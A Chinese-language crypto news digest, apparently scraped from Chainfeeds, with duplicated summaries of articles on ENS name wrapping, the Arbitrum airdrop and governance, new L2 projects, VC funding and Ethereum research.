    Chainfeeds 导读： 4 月 1 日 ENS 已将 NameWrapper 合约部署到主网，尚需 DAO 投票激活。ENS 的域名封装（ENS Name Wrapper）功能被视为 ENS 大规模采用和变革 Web3 的关键改进，有希望在两周后在主网上线。Foresight News 研究员 Karen 撰文介绍 ENS 域名封装功能究竟是什么？为何如此重要？ 文章来源： https://foresightnews.pro/article/detail/23811 文章作者： Karen Zhang（Foresight News） 观点： Karen Zhang（Foresight News）：ENS 域名封装是什么？该封装功能允许将现有任意级别的 ENS 域名封装为 ERC-1155 代币，子域名可以作为单独的 NFT 存储，并允许父域名对子域名进行更精细的管理控制，该封装功能还支持释放和锁定域名，并可以撤销对域名的其他权限。ENS 团队已经将 eth 的密钥交给公共合约，因此父域名持有者可以通过设置子域名到期时间和销毁 fuse 来放弃对子域名的控制。 内容来源 Karen Zhang（Foresight News）：ENS 域名封装为何如此重要？它能够帮助域名持有者在管理和控制子域名时更加高效和低成本。通过将域名封装为 ERC-1155，可以让子域名具有更大的灵活性和自主权。对于 Web2 和 Web3 公司和项目，域名封装功能能够让他们更好地管理和配置子域名，并可以为其用户提供更多应用场景和效用。此外，子域名交易、租借等场景也可能会展开。因此，我们有理由相信，ENS 域名封装功能将为 Web3 的大规模采用增加更多的想象空间。 内容来源 Karen Zhang（Foresight News）：哪类域名更能从域名封装功能中受益？可以想象，域名封装功能推出后，能够扩展子域名的二级域名会更有吸引力。比如：名字类、姓氏类、公司名称类、项目名称类、通用定义、行业、产品类等。 内容来源  ( 16 min )
    ENS 域名封装是什么？为何如此重要？
    Chainfeeds 导读： 4 月 1 日 ENS 已将 NameWrapper 合约部署到主网，尚需 DAO 投票激活。ENS 的域名封装（ENS Name Wrapper）功能被视为 ENS 大规模采用和变革 Web3 的关键改进，有希望在两周后在主网上线。Foresight News 研究员 Karen 撰文介绍 ENS 域名封装功能究竟是什么？为何如此重要？ 文章来源： https://foresightnews.pro/article/detail/23811 文章作者： Karen Zhang（Foresight News） 观点： Karen Zhang（Foresight News）：ENS 域名封装是什么？该封装功能允许将现有任意级别的 ENS 域名封装为 ERC-1155 代币，子域名可以作为单独的 NFT 存储，并允许父域名对子域名进行更精细的管理控制，该封装功能还支持释放和锁定域名，并可以撤销对域名的其他权限。ENS 团队已经将 eth 的密钥交给公共合约，因此父域名持有者可以通过设置子域名到期时间和销毁 fuse 来放弃对子域名的控制。 内容来源 Karen Zhang（Foresight News）：ENS 域名封装为何如此重要？它能够帮助域名持有者在管理和控制子域名时更加高效和低成本。通过将域名封装为 ERC-1155，可以让子域名具有更大的灵活性和自主权。对于 Web2 和 Web3 公司和项目，域名封装功能能够让他们更好地管理和配置子域名，并可以为其用户提供更多应用场景和效用。此外，子域名交易、租借等场景也可能会展开。因此，我们有理由相信，ENS 域名封装功能将为 Web3 的大规模采用增加更多的想象空间。 内容来源 Karen Zhang（Foresight News）：哪类域名更能从域名封装功能中受益？可以想象，域名封装功能推出后，能够扩展子域名的二级域名会更有吸引力。比如：名字类、姓氏类、公司名称类、项目名称类、通用定义、行业、产品类等。 内容来源  ( 16 min )
    【英文长推】数据分析：$ARB 空投对链上活动的增长影响
    Chainfeeds 导读： $ARB 空投为加密领域带来了许多新入者，这也导致许多人离开 $ETH 去探索更便宜的「牧场」。加密指标平台 Artemis 撰推分析 $ARB 空投带来的一系列链上活动变化，空投当日 Abitrum 日用户量为以太坊日用户量两倍。 文章来源： https://twitter.com/Artemis__xyz/status/1642149858298707969 文章作者： Artemis 观点： Artemis：$ARB 空投的宣布引起了链上活动的大量流入，宣布那天开始看到增长的势头。越来越多的用户在 Arbitrum 上交易，要么是希望最大化他们的 $ARB 空投，要么是预期流动性会增加。可以从日交易量上看出活动显著飙升，$ARB 110 万笔交易在其历史上首次超过 $ETH 的 100 万笔交易量。【原文为英文】 内容来源 Artemis：23 号公告当日，链上数据显示 $ARB 狂热处于历史最高水平。$ARB 费用达到历史最高点，即以太坊每日费用的 40%。考虑到 $ETH 的收益几乎是其最接近的竞争对手 Uniswap 的三倍，这确实是一个巨大的数字。随着用户争相领取空投，每日交易量激增，$ARB 用户量在前一天增加了 100%，同时是以太坊的日用户量两倍。$ARB DEX 的使用量也因此激增： Arbitrum 12 亿 美元交易量，以太坊为 20 亿美元交易量。没有其他 L2 在一天内接近超过以太坊的 DEX 交易量。【原文为英文】 内容来源  ( 2 min )
    【英文长推】数据分析：$ARB 空投对链上活动的增长影响
    Chainfeeds 导读： $ARB 空投为加密领域带来了许多新入者，这也导致许多人离开 $ETH 去探索更便宜的「牧场」。加密指标平台 Artemis 撰推分析 $ARB 空投带来的一系列链上活动变化，空投当日 Abitrum 日用户量为以太坊日用户量两倍。 文章来源： https://twitter.com/Artemis__xyz/status/1642149858298707969 文章作者： Artemis 观点： Artemis：$ARB 空投的宣布引起了链上活动的大量流入，宣布那天开始看到增长的势头。越来越多的用户在 Arbitrum 上交易，要么是希望最大化他们的 $ARB 空投，要么是预期流动性会增加。可以从日交易量上看出活动显著飙升，$ARB 110 万笔交易在其历史上首次超过 $ETH 的 100 万笔交易量。【原文为英文】 内容来源 Artemis：23 号公告当日，链上数据显示 $ARB 狂热处于历史最高水平。$ARB 费用达到历史最高点，即以太坊每日费用的 40%。考虑到 $ETH 的收益几乎是其最接近的竞争对手 Uniswap 的三倍，这确实是一个巨大的数字。随着用户争相领取空投，每日交易量激增，$ARB 用户量在前一天增加了 100%，同时是以太坊的日用户量两倍。$ARB DEX 的使用量也因此激增： Arbitrum 12 亿 美元交易量，以太坊为 20 亿美元交易量。没有其他 L2 在一天内接近超过以太坊的 DEX 交易量。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新兴 L2 大盘点：项目信息及进展
    Chainfeeds 导读： 专注于空投及 Alpha 的社区 Airdrop Official 撰推对新兴 L2 项目进行盘点，概况各个项目的信息及更新。 文章来源： https://twitter.com/its_airdrop/status/1642152192655364098 文章作者： Airdrop Official 观点： Airdrop Official：1）Scroll，一个基于 zkEVM 的以太坊 rollup，正处于 Alpha 测试网阶段。以 18 亿美元的估值筹集了 8000 万美元。主网预计在 2023 年第四季度推出，Sushiswap 预计很快将在测试网上推出。2）Taiko，Type 1 ZK-EVM （以太坊等价 ZK-Rollup），TAIKO alpha 2 测试网已经上线，主网预计在 2024 年第四季度上线，alpha 3 设计正在进行中，将很快推出。【原文为英文】 内容来源 Airdrop Official：3）zkSync，最近推出了主网 2.0「ERA」，是第一个 zkEVM。在多轮融资中筹集了近 4.58 亿美元， $ZKS 代币预计在 1 年内推出。4）Starknet - 一个有效性 Rollup Layer 2 ，STRK 代币已经确认会发布， Alpha v0.11.0 已在测试网上发布。将 v.0.11.0 引入主网上的治理提案已经通过，主网预计将在几周内上线，以 80 亿美元的估值筹集了近 2.825 亿美元。【原文为英文】 内容来源 Airdrop Official：5）Layerzero ，不是真正的 L2 而是一种具有全链互操作性的消息传递协议。以 10 亿美元的估值筹集了 1.35 亿美元，到目前为止已传递了近 270 万条消息，近期在 Gnosis (GNO) 和 Coinbase 的 Base 链上线。6）Linea ，由 Metamask 背后的公司 Consensys 开发的 L2，是 Type2 zk-EVM，利用 rollup 来重建以太坊生态系统。在多轮融资中筹集了约 7.26 亿美元，估值为 70 亿美元。最近在测试网上超过了 200 万笔交易。【原文为英文】 内容来源 Airdrop Official：7）Mantle，具有模块化架构的 L2。 Mantle 使用 Eigen Layer 的 EigenDA 作为其数据可用性层。测试网现已上线，主网预计将在未来几个月内上线，由 BitDAO 创建，已经有一个代币 BIT。8）Base， Coinbase 的新 L2，建立在 Optimism 的 OP Stack 上，将与 Coinbase 现有的生态系统整合。主网预计在 2023 年第二季度上线，其生态系统正在发展，迄今为止已有近 18,000 名开发人员和 55,000 份智能合约部署 内容来源  ( 2 min )
    【英文长推】新兴 L2 大盘点：项目信息及进展
    Chainfeeds 导读： 专注于空投及 Alpha 的社区 Airdrop Official 撰推对新兴 L2 项目进行盘点，概况各个项目的信息及更新。 文章来源： https://twitter.com/its_airdrop/status/1642152192655364098 文章作者： Airdrop Official 观点： Airdrop Official：1）Scroll，一个基于 zkEVM 的以太坊 rollup，正处于 Alpha 测试网阶段。以 18 亿美元的估值筹集了 8000 万美元。主网预计在 2023 年第四季度推出，Sushiswap 预计很快将在测试网上推出。2）Taiko，Type 1 ZK-EVM （以太坊等价 ZK-Rollup），TAIKO alpha 2 测试网已经上线，主网预计在 2024 年第四季度上线，alpha 3 设计正在进行中，将很快推出。【原文为英文】 内容来源 Airdrop Official：3）zkSync，最近推出了主网 2.0「ERA」，是第一个 zkEVM。在多轮融资中筹集了近 4.58 亿美元， $ZKS 代币预计在 1 年内推出。4）Starknet - 一个有效性 Rollup Layer 2 ，STRK 代币已经确认会发布， Alpha v0.11.0 已在测试网上发布。将 v.0.11.0 引入主网上的治理提案已经通过，主网预计将在几周内上线，以 80 亿美元的估值筹集了近 2.825 亿美元。【原文为英文】 内容来源 Airdrop Official：5）Layerzero ，不是真正的 L2 而是一种具有全链互操作性的消息传递协议。以 10 亿美元的估值筹集了 1.35 亿美元，到目前为止已传递了近 270 万条消息，近期在 Gnosis (GNO) 和 Coinbase 的 Base 链上线。6）Linea ，由 Metamask 背后的公司 Consensys 开发的 L2，是 Type2 zk-EVM，利用 rollup 来重建以太坊生态系统。在多轮融资中筹集了约 7.26 亿美元，估值为 70 亿美元。最近在测试网上超过了 200 万笔交易。【原文为英文】 内容来源 Airdrop Official：7）Mantle，具有模块化架构的 L2。 Mantle 使用 Eigen Layer 的 EigenDA 作为其数据可用性层。测试网现已上线，主网预计将在未来几个月内上线，由 BitDAO 创建，已经有一个代币 BIT。8）Base， Coinbase 的新 L2，建立在 Optimism 的 OP Stack 上，将与 Coinbase 现有的生态系统整合。主网预计在 2023 年第二季度上线，其生态系统正在发展，迄今为止已有近 18,000 名开发人员和 55,000 份智能合约部署 内容来源  ( 2 min )
    频频出手的 DWF Labs 是谁？「VC+ 做市商」，每月定投 5 个项目
    Chainfeeds 导读： 近日，一家名为 DWF Labs 的机构频频掷出大额投资，引得市场关注。律动专栏作者 0x22D 撰文对其进行背景剖析，并解析其投资理念、团队背景，盘点其重要投资。 文章来源： https://www.theblockbeats.info/news/36118 文章作者： 0x22D 观点： 0x22D：DWF Labs 将自己定位为「全球加密资产做市商与多阶段 Web3 投资公司」，其母公司 DWF 是一家全球性的加密货币高频交易公司，自 2018 年开始，在 40 多个顶级交易平台进行现货和衍生品交易，位居全球加密货币交易量前 5 名。大多数情况下，DWF Labs 通过直接购买 Token 的形式对项目进行投资。 内容来源 0x22D：投资理念：「无论市场状况如何，DWF Labs 平均每月都要投资 5 个项目」。目前 DWF Labs 的投资组合中有超过 100 个项目，且具有相当高的多样性，很难找到一个非常大的投资重点。这并非只是对分散投资思维的贯彻，对 DWF Labs 来说，投资组合的多元化也是一种涉足所有垂直领域，保持领先地位并适应市场需求的一种方式。 内容来源 0x22D：DWF Labs 主要专注于亚洲市场，官网中也能看到许多亚洲面孔。其管理合伙人 2018 年 9 月出任 Huobi Russia CEO，同年 12 月加入 DWF。合伙人 Heng Yu Lee 曾任职于摩根大通，离开摩根大通后在新加坡成立了一家名为 GROUP8 的网络安全和情报公司，合伙人 Zac Zou 曾任职于中国港湾工程有限公司，2018 年 8 月加入 OKEx 担任区域商务经理。 内容来源 0x22D：重要投资一览：1）Fetch.ai，4000 万美元；2）Synthetix，2000 万美元；3）Flare Network；4）Coin98；5）Yield Guild Games (YGG)，DWF Labs 和 a16z 领投 1380 万美元；6）TON，1000 万美元；7）Conflux；8）Mask Network，500 万美元；9）Radix，1000 万美元；10）Tomi；11）Orbs，1000 万美元；12）Beldex。 内容来源
    频频出手的 DWF Labs 是谁？「VC+ 做市商」，每月定投 5 个项目
    Chainfeeds 导读： 近日，一家名为 DWF Labs 的机构频频掷出大额投资，引得市场关注。律动专栏作者 0x22D 撰文对其进行背景剖析，并解析其投资理念、团队背景，盘点其重要投资。 文章来源： https://www.theblockbeats.info/news/36118 文章作者： 0x22D 观点： 0x22D：DWF Labs 将自己定位为「全球加密资产做市商与多阶段 Web3 投资公司」，其母公司 DWF 是一家全球性的加密货币高频交易公司，自 2018 年开始，在 40 多个顶级交易平台进行现货和衍生品交易，位居全球加密货币交易量前 5 名。大多数情况下，DWF Labs 通过直接购买 Token 的形式对项目进行投资。 内容来源 0x22D：投资理念：「无论市场状况如何，DWF Labs 平均每月都要投资 5 个项目」。目前 DWF Labs 的投资组合中有超过 100 个项目，且具有相当高的多样性，很难找到一个非常大的投资重点。这并非只是对分散投资思维的贯彻，对 DWF Labs 来说，投资组合的多元化也是一种涉足所有垂直领域，保持领先地位并适应市场需求的一种方式。 内容来源 0x22D：DWF Labs 主要专注于亚洲市场，官网中也能看到许多亚洲面孔。其管理合伙人 2018 年 9 月出任 Huobi Russia CEO，同年 12 月加入 DWF。合伙人 Heng Yu Lee 曾任职于摩根大通，离开摩根大通后在新加坡成立了一家名为 GROUP8 的网络安全和情报公司，合伙人 Zac Zou 曾任职于中国港湾工程有限公司，2018 年 8 月加入 OKEx 担任区域商务经理。 内容来源 0x22D：重要投资一览：1）Fetch.ai，4000 万美元；2）Synthetix，2000 万美元；3）Flare Network；4）Coin98；5）Yield Guild Games (YGG)，DWF Labs 和 a16z 领投 1380 万美元；6）TON，1000 万美元；7）Conflux；8）Mask Network，500 万美元；9）Radix，1000 万美元；10）Tomi；11）Orbs，1000 万美元；12）Beldex。 内容来源
    【英文长推】观点：DeFi 将受益于投资新兴市场
    Chainfeeds 导读： 新兴市场的平均中小企业贷款利率约为 15%，而发达市场约为 5%，RWA 协议 Zoth.io 撰推分析新兴市场的概念及优势，认为 DeFi ，特别是 RWA，将受益于投资新兴市场。 文章来源： https://twitter.com/zothdotio/status/1641811604353458181 文章作者： Zoth.io 观点： Zoth.io：什么是新兴市场？新兴市场是介于发展中和发达阶段之间的经济体。在此阶段，他们见证了最快的增长以及最大的波动，新兴市场，尤其是亚洲，拥有银行主导的金融市场和不发达的资本市场银行为缺乏健全信息基础设施的企业提供资金是非常规的，因此中小企业在新兴市场中举步维艰。【原文为英文】 内容来源 Zoth.io：银行更愿意向财务报表更清晰和经过审计的大型企业提供贷款，或者对中小企业提出高抵押要求，许多中小企业通过支付更高的利率来借钱。机构一直热衷于投资新兴市场，因为与发达市场相比，新兴市场具有更高的内部收益率、更高的复合年增长率和资产估值过低，但也有多元化的好处。【原文为英文】 内容来源 Zoth.io：根据麦肯锡的一份报告，发达市场和新兴市场之间的相关性为 0.5。这很低，这意味着发达市场和新兴市场的行为并不相似，因此有可能提供投资组合多元化。DeFi 通过 Aave、Compound 和类似协议争取收益机会。新兴市场的私人信贷贷款已经发现 DeFi 的轨道，例如 Goldfinch。但传统市场私人贷款融资数量在每个地区都比 DeFi 市场高出许多倍，还有很长的路要走。【原文为英文】 内容来源  ( 2 min )
    【英文长推】观点：DeFi 将受益于投资新兴市场
    Chainfeeds 导读： 新兴市场的平均中小企业贷款利率约为 15%，而发达市场约为 5%，RWA 协议 Zoth.io 撰推分析新兴市场的概念及优势，认为 DeFi ，特别是 RWA，将受益于投资新兴市场。 文章来源： https://twitter.com/zothdotio/status/1641811604353458181 文章作者： Zoth.io 观点： Zoth.io：什么是新兴市场？新兴市场是介于发展中和发达阶段之间的经济体。在此阶段，他们见证了最快的增长以及最大的波动，新兴市场，尤其是亚洲，拥有银行主导的金融市场和不发达的资本市场银行为缺乏健全信息基础设施的企业提供资金是非常规的，因此中小企业在新兴市场中举步维艰。【原文为英文】 内容来源 Zoth.io：银行更愿意向财务报表更清晰和经过审计的大型企业提供贷款，或者对中小企业提出高抵押要求，许多中小企业通过支付更高的利率来借钱。机构一直热衷于投资新兴市场，因为与发达市场相比，新兴市场具有更高的内部收益率、更高的复合年增长率和资产估值过低，但也有多元化的好处。【原文为英文】 内容来源 Zoth.io：根据麦肯锡的一份报告，发达市场和新兴市场之间的相关性为 0.5。这很低，这意味着发达市场和新兴市场的行为并不相似，因此有可能提供投资组合多元化。DeFi 通过 Aave、Compound 和类似协议争取收益机会。新兴市场的私人信贷贷款已经发现 DeFi 的轨道，例如 Goldfinch。但传统市场私人贷款融资数量在每个地区都比 DeFi 市场高出许多倍，还有很长的路要走。【原文为英文】 内容来源  ( 2 min )
    【英文长推】 Flatcoins 能否成为下一个热门叙事？解读 Flatcoins 及其 Tradfi 相关性、DeFi 用例
    Chainfeeds 导读： 近期 Base 发布新方向 Flatcoins，加密研究员 0xShinnChannn 撰推解读 Flatcoins 的背景、原理，及其 Tradfi 相关性和 DeFi 采用的例子 $RAI 和 Nuon。 文章来源： https://twitter.com/0xShinChannn/status/1642173226834083841 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：Flatcoins 与传统稳定币不同，它不与任何法币挂钩，而是与一篮子资产或指数挂钩。从长远来看，这提供了更大的稳定性，因为法币可能会因为通胀而随着时间推移贬值，而 Flatcoins 旨在通过跟踪通胀率来维持其价值。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：Tradfi 相关性：例如新加坡的 NEER 政策侧重于通过将新加坡元（SGD）与一组其他货币进行比较来管理新加坡元（SGD）的价值。这组货币代表新加坡交易最多的国家。通过控制新元相对于这种「平均」汇率的价值，新加坡中央银行，新加坡金融管理局（MAS）可以确保新元的价值不会因为通货膨胀而大幅上涨或下跌。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：DeFi 用例：1）$RAI，由 $ETH 抵押，作为其价值稳定的基础，没有固定的价格目标。是一种「无治理」和「去中心化」的稳定币，这意味着没有中心化机构控制它。RAI 通过称为「赎回价格」的机制实现稳定性，此价格根据市场条件和用户操作动态调整，鼓励人们买卖 RAI 以稳定其价值。2）Nuon 则提供差异化方法，重点在于通胀挂钩，依靠通胀指数预言机 Truflation 来每日计算 Nuon 挂钩。【原文为英文】 内容来源  ( 2 min )
    【英文长推】 Flatcoins 能否成为下一个热门叙事？解读 Flatcoins 及其 Tradfi 相关性、DeFi 用例
    Chainfeeds 导读： 近期 Base 发布新方向 Flatcoins，加密研究员 0xShinnChannn 撰推解读 Flatcoins 的背景、原理，及其 Tradfi 相关性和 DeFi 采用的例子 $RAI 和 Nuon。 文章来源： https://twitter.com/0xShinChannn/status/1642173226834083841 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：Flatcoins 与传统稳定币不同，它不与任何法币挂钩，而是与一篮子资产或指数挂钩。从长远来看，这提供了更大的稳定性，因为法币可能会因为通胀而随着时间推移贬值，而 Flatcoins 旨在通过跟踪通胀率来维持其价值。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：Tradfi 相关性：例如新加坡的 NEER 政策侧重于通过将新加坡元（SGD）与一组其他货币进行比较来管理新加坡元（SGD）的价值。这组货币代表新加坡交易最多的国家。通过控制新元相对于这种「平均」汇率的价值，新加坡中央银行，新加坡金融管理局（MAS）可以确保新元的价值不会因为通货膨胀而大幅上涨或下跌。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：DeFi 用例：1）$RAI，由 $ETH 抵押，作为其价值稳定的基础，没有固定的价格目标。是一种「无治理」和「去中心化」的稳定币，这意味着没有中心化机构控制它。RAI 通过称为「赎回价格」的机制实现稳定性，此价格根据市场条件和用户操作动态调整，鼓励人们买卖 RAI 以稳定其价值。2）Nuon 则提供差异化方法，重点在于通胀挂钩，依靠通胀指数预言机 Truflation 来每日计算 Nuon 挂钩。【原文为英文】 内容来源  ( 2 min )
    【英文】V 神：以太坊的多客户端理念将如何与 ZK-EVM 交互？
    Chainfeeds 导读： 长远来看，ZK-EVM 不仅仅用于 rollup，以太坊团队更想使用它们来验证 L1 的执行情况，一旦发生这种情况，ZK-EVM 实际上成为第三种类型的以太坊客户端，自然会提出一个问题：ZK-EVM 将如何与多客户端理念交互？以太坊创始人 Vitalik Buterin 撰文分析以太坊多客户端理念的最初动机，解析未来 ZK-EVM 进入 L1 的两种方式，认为这项工作大部分正在发生或无论如何都会发生。 文章来源： https://vitalik.eth.limo/general/2023/03/31/zkmulticlient.html 文章作者： Vitalik Buterin（以太坊联合创始人） 观点： Vitalik Buterin（以太坊联合创始人）：以太坊多客户端理念的最初动机：1）技术权利下放的论据，技术去中心化的主要好处即降低了一个软件中的一个错误导致整个网络灾难性崩溃的风险。2）政治权力下放的论据，在 2013-14 比特币 OP_RETURN 战争的背景下，一些参与者公开支持对链的特定用途进行歧视，是以太坊早期采用多客户端理念的重要因素，以太坊生态系统特有的担忧，即避免权力集中在以太坊基金会内部，为这一方向提供了进一步的支持。【原文为英文】 内容来源 Vitalik Buterin（以太坊联合创始人）：未来 ZK-EVM 如何进入 L1？两种选项：1）限制 L1，强制几乎所有活动移动到 L2。在这样的情况下，L1 的唯一功能是成为 L2 协议的清算所，验证它们的证明并偶尔促进它们之间的大额资金转移。弱点在于它实际上是向后不兼容的、仍然无法使验证变得足够便宜。2）SNARK 验证 L1，好处在于链上 EVM 执行不再需要由每个节点验证，这使得有可能大大增加发生的 EVM 执行量。【原文为英文】 内容来源 Vitalik Buterin（以太坊联合创始人）：结论：1）我们已经有多个强大的 ZK-EVM 实现。虽然还不是 1 型（完全等同于以太坊），但其中许多正在朝着那个方向积极发展。2）在 Helios 和 Succinct 等轻客户端上的工作最终可能会变成对以太坊链的 PoS 共识端进行更全面的 SNARK 验证。3）客户端可能会开始尝试使用 ZK-EVM 来证明自己的以太坊块执行，特别是当我们有无状态客户端并且在技术上不需要直接重新执行每个块来维护状态时。4）ERC-4337 和 PBS 生态系统可能会很快开始使用 BLS 和证明聚合等聚合技术，以节省 gas 成本。【原文为英文】 内容来源  ( 11 min )
    【英文】V 神：以太坊的多客户端理念将如何与 ZK-EVM 交互？
    Chainfeeds 导读： 长远来看，ZK-EVM 不仅仅用于 rollup，以太坊团队更想使用它们来验证 L1 的执行情况，一旦发生这种情况，ZK-EVM 实际上成为第三种类型的以太坊客户端，自然会提出一个问题：ZK-EVM 将如何与多客户端理念交互？以太坊创始人 Vitalik Buterin 撰文分析以太坊多客户端理念的最初动机，解析未来 ZK-EVM 进入 L1 的两种方式，认为这项工作大部分正在发生或无论如何都会发生。 文章来源： https://vitalik.eth.limo/general/2023/03/31/zkmulticlient.html 文章作者： Vitalik Buterin（以太坊联合创始人） 观点： Vitalik Buterin（以太坊联合创始人）：以太坊多客户端理念的最初动机：1）技术权利下放的论据，技术去中心化的主要好处即降低了一个软件中的一个错误导致整个网络灾难性崩溃的风险。2）政治权力下放的论据，在 2013-14 比特币 OP_RETURN 战争的背景下，一些参与者公开支持对链的特定用途进行歧视，是以太坊早期采用多客户端理念的重要因素，以太坊生态系统特有的担忧，即避免权力集中在以太坊基金会内部，为这一方向提供了进一步的支持。【原文为英文】 内容来源 Vitalik Buterin（以太坊联合创始人）：未来 ZK-EVM 如何进入 L1？两种选项：1）限制 L1，强制几乎所有活动移动到 L2。在这样的情况下，L1 的唯一功能是成为 L2 协议的清算所，验证它们的证明并偶尔促进它们之间的大额资金转移。弱点在于它实际上是向后不兼容的、仍然无法使验证变得足够便宜。2）SNARK 验证 L1，好处在于链上 EVM 执行不再需要由每个节点验证，这使得有可能大大增加发生的 EVM 执行量。【原文为英文】 内容来源 Vitalik Buterin（以太坊联合创始人）：结论：1）我们已经有多个强大的 ZK-EVM 实现。虽然还不是 1 型（完全等同于以太坊），但其中许多正在朝着那个方向积极发展。2）在 Helios 和 Succinct 等轻客户端上的工作最终可能会变成对以太坊链的 PoS 共识端进行更全面的 SNARK 验证。3）客户端可能会开始尝试使用 ZK-EVM 来证明自己的以太坊块执行，特别是当我们有无状态客户端并且在技术上不需要直接重新执行每个块来维护状态时。4）ERC-4337 和 PBS 生态系统可能会很快开始使用 BLS 和证明聚合等聚合技术，以节省 gas 成本。【原文为英文】 内容来源  ( 11 min )
    吴说 VC 月报：3 月加密项目融资数量与金额均大幅下降
    Chainfeeds 导读： 吴说区块链根据 RootData 数据统计，分析 3 月加密 VC 公开的投资项目，涵盖不同赛道融资数量占比，以及超过 2000 万美元轮次的盘点。 文章来源： https://www.wu-talk.com/index.php?m=content&c=index&a=show&catid=6&id=12989 文章作者： 吴说区块链 观点： 吴说区块链：根据 RootData 统计，3 月加密 VC 公开的投资项目共 84 个，环比下降 31%（2023 年 2 月共 122 个项目），同比下降 59%（2022 年 3 月共 203 个项目）。3 月份加密市场各赛道中，基础设施类项目的融资数量占比约 31%，DeFi 占比约 18%，CeFi 占比约 11%，NFT/GameFi 占比约 20% 内容来源 吴说区块链：3 月总融资金额为 7.7 亿美元，环比下降 19%（2023 年 2 月共 9.5 亿美元），同比下降 80%（2022 年 3 月共 38.9 亿美元）。融资金额结束了三个月的上升趋势，其中超过 2000 万美元的轮次（不包含 CeFi、矿商等中心化机构）如下：1）硬件钱包制造商 Ledger 以 13 亿欧元估值完成 1 亿欧元（1.09 亿美元）融资；2）以太坊重复质押协议 EigenLayer 完成由 Blockchain Capital 牵头的 5 千万美元融资。 内容来源 吴说区块链：3）Scroll 是以太坊上基于 zkEVM 的 zkRollup，估值达 18 亿美元，本轮融资 5 千万美元；4）Fetch.ai 是一个基于人工智能和机器学习的区块链平台，融资 4 千万美元；5）tomi 专注于提供硬件和软件的去中心化服务，完成由 DWF Labs 领投的 4 千万美元融资；6）Bitkeep 完成由 Dragonfly Capital 领投的 3 千万美元融资；7）CCP Games 融资 4 千万美元；8）Aavegotchi 融资 3 千万美元；9）OP3N 以一亿美元估值融资 2800 万美元；10）做市商 DWF Labs 购买了价值 2000 万美元的 SNX，并将 Synthetix 永续合约整合到他们的交易业务中。 内容来源  ( 3 min )
    吴说 VC 月报：3 月加密项目融资数量与金额均大幅下降
    Chainfeeds 导读： 吴说区块链根据 RootData 数据统计，分析 3 月加密 VC 公开的投资项目，涵盖不同赛道融资数量占比，以及超过 2000 万美元轮次的盘点。 文章来源： https://www.wu-talk.com/index.php?m=content&c=index&a=show&catid=6&id=12989 文章作者： 吴说区块链 观点： 吴说区块链：根据 RootData 统计，3 月加密 VC 公开的投资项目共 84 个，环比下降 31%（2023 年 2 月共 122 个项目），同比下降 59%（2022 年 3 月共 203 个项目）。3 月份加密市场各赛道中，基础设施类项目的融资数量占比约 31%，DeFi 占比约 18%，CeFi 占比约 11%，NFT/GameFi 占比约 20% 内容来源 吴说区块链：3 月总融资金额为 7.7 亿美元，环比下降 19%（2023 年 2 月共 9.5 亿美元），同比下降 80%（2022 年 3 月共 38.9 亿美元）。融资金额结束了三个月的上升趋势，其中超过 2000 万美元的轮次（不包含 CeFi、矿商等中心化机构）如下：1）硬件钱包制造商 Ledger 以 13 亿欧元估值完成 1 亿欧元（1.09 亿美元）融资；2）以太坊重复质押协议 EigenLayer 完成由 Blockchain Capital 牵头的 5 千万美元融资。 内容来源 吴说区块链：3）Scroll 是以太坊上基于 zkEVM 的 zkRollup，估值达 18 亿美元，本轮融资 5 千万美元；4）Fetch.ai 是一个基于人工智能和机器学习的区块链平台，融资 4 千万美元；5）tomi 专注于提供硬件和软件的去中心化服务，完成由 DWF Labs 领投的 4 千万美元融资；6）Bitkeep 完成由 Dragonfly Capital 领投的 3 千万美元融资；7）CCP Games 融资 4 千万美元；8）Aavegotchi 融资 3 千万美元；9）OP3N 以一亿美元估值融资 2800 万美元；10）做市商 DWF Labs 购买了价值 2000 万美元的 SNX，并将 Synthetix 永续合约整合到他们的交易业务中。 内容来源  ( 3 min )
    数据：持有超过 0.01 枚 ETH 的地址创历史新高
    数据：持有超过 0.01 枚 ETH 的地址创历史新高 据 Glassnode 数据显示，持有超过 0.01 枚 ETH 的地址为 23,516,993 个，创历史新高。 内容来源  ( 2 min )
    数据：持有超过 0.01 枚 ETH 的地址创历史新高
    数据：持有超过 0.01 枚 ETH 的地址创历史新高 据 Glassnode 数据显示，持有超过 0.01 枚 ETH 的地址为 23,516,993 个，创历史新高。 内容来源  ( 2 min )
    随着 BSL 到期，Uniswap v3 代码可以自由分叉
    随着 BSL 到期，Uniswap v3 代码可以自由分叉 据 Cointelegraph 援引协议文档显示，开发人员现在可以分叉 Uniswap v3 协议，因为其商业源代码许可证（BSL）已于 4 月 1 日到期。BSL 是一种许可证，在完全开放源代码之前会持续一段时间，目的是保护作者从其创作中获利的权利。Uniswap v3 的许可证于 2021 年发布，为期两年，禁止其代码用于商业用途。一个名为通用公共许可证的新许可证现在适用于该协议。要分叉代码，开发者需要额外使用授权，这是一种产品豁免，旨在满足开源和商业开发者的需求。 内容来源  ( 53 min )
    随着 BSL 到期，Uniswap v3 代码可以自由分叉
    随着 BSL 到期，Uniswap v3 代码可以自由分叉 据 Cointelegraph 援引协议文档显示，开发人员现在可以分叉 Uniswap v3 协议，因为其商业源代码许可证（BSL）已于 4 月 1 日到期。BSL 是一种许可证，在完全开放源代码之前会持续一段时间，目的是保护作者从其创作中获利的权利。Uniswap v3 的许可证于 2021 年发布，为期两年，禁止其代码用于商业用途。一个名为通用公共许可证的新许可证现在适用于该协议。要分叉代码，开发者需要额外使用授权，这是一种产品豁免，旨在满足开源和商业开发者的需求。 内容来源  ( 53 min )
    Arbitrum 的第一个治理提案引发争议，现有 10 亿美元的 ARB 代币处于风险中
    Arbitrum 的第一个治理提案引发争议，现有 10 亿美元的 ARB 代币处于风险中 据 CoinDesk 报道，Arbitrum 的首次治理尝试引发争论，原因是其中一项提议让让 Arbitrum 基金会控制价值近 10 亿美元的 7.5 亿个 ARB 代币，这些代币将资助一项旨在促进 Arbitrum 增长的「特别赠款」计划，但根据 AIP-1 提案，ARB 持有人无权决定 Arbitrum 基金会将近 10 亿美元的资金由谁或如何分配。此次投票目前处于初步阶段，之后将举行正式的最终论坛，在此之前，Arbitrum 基金会还没有公布其将如何管理赠款计划的关键要素。 内容来源  ( 27 min )
